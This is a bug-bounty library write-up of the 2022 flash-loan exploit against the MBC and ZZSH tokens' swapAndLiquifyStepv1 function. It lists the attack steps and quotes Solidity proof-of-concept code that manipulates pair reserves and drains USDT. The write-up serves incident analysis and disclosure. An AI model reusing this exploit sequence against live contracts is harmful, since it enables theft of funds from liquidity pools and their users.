# MBC & ZZSH: business logic flaw in swapAndLiquifyStepv1 drains liquidity

MBC and ZZSH tokens had a flawed swapAndLiquifyStepv1 function allowing attackers to manipulate reserves and drain USDT via flash loan.

- Payout: Real-world hack
- Severity: high
- Program: - MBC & ZZSH
- Analysis by: DeFiHackLabs
- Disclosed: 2022-11-29
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-11/MBC_ZZSH_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221129-mbc-zzsh
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm vuln:business-logic

**Target:** ERC20 token contracts with swapAndLiquifyStepv1 and Uniswap V2 pairs
**Root cause:** The swapAndLiquifyStepv1 function incorrectly handles token swaps and liquidity additions, allowing an attacker to manipulate the pair reserves and extract value.
**Steps:**
1. Flash loan USDT from DODO.
2. Transfer 150,000 USDT to MBC pair and call swap to receive MBC, manipulating reserves.
3. Call MBC.swapAndLiquifyStepv1() to further alter reserves.
4. Transfer 1001 USDT to MBC pair to trigger _isAddLiquidityV1(), then transfer all MBC to pair and swap for USDT.
5. Repeat similar steps for ZZSH pair.
6. Repay flash loan and keep profit.
**Exploitation:** Attacker used a DODO flash loan to manipulate MBC and ZZSH liquidity pools by calling swapAndLiquifyStepv1 and exploiting the _isAddLiquidityV1 check, then swapped back to USDT for profit.
**Insight:** Look for token contracts with swapAndLiquify functions that can be called externally and manipulate reserves; check for logic that allows reserve manipulation via direct transfers.

## Proof of concept (copied exactly from the original report)

**Flash loan and MBC swapAndLiquifyStepv1 exploit sequence**

```
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        // Intial rate MBC/USDT -> 1.1365032200116891/1
        // Pair getReserves -> 12475110456913920021663 / 10976748888389080860664
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(MBC);
        uint256[] memory values = Router.getAmountsOut(150_000 * 10 ** 18, path);

        USDT.transfer(address(MBCPair), 150_000 * 10 ** 18);

        MBCPair.swap(values[1], 0, address(this), "");

        MBC.swapAndLiquifyStepv1();
```

**Drain MBC pair via _isAddLiquidityV1 transfer**

```
USDT.transfer(address(MBCPair), 1001); // function() _isAddLiquidityV1()
        MBC.transfer(address(MBCPair), MBC.balanceOf(address(this)));
        (uint256 MBCReserve,,) = MBCPair.getReserves();
        uint256 amountIn = MBC.balanceOf(address(MBCPair)) - MBCReserve;
        path[0] = address(MBC);
        path[1] = address(USDT);
        values = Router.getAmountsOut(amountIn, path);

        MBCPair.swap(0, values[1], address(this), "");
```

**Repeat exploit on ZZSH pair**

```
USDT.transfer(address(ZZSHPair), 150_000 * 10 ** 18);

        ZZSHPair.swap(0, values[1], address(this), "");

        ZZSH.swapAndLiquifyStepv1();

        // ZZSHPair.sync(); // unnecessary

        USDT.transfer(address(ZZSHPair), 1001); // function() _isAddLiquidityV1()
        ZZSH.transfer(address(ZZSHPair), ZZSH.balanceOf(address(this)));
        (, uint256 ZZSHReserve,) = ZZSHPair.getReserves();
        amountIn = ZZSH.balanceOf(address(ZZSHPair)) - ZZSHReserve;
        path[0] = address(ZZSH);
        path[1] = address(USDT);
        values = Router.getAmountsOut(amountIn, path);

        ZZSHPair.swap(values[1], 0, address(this), "");
```

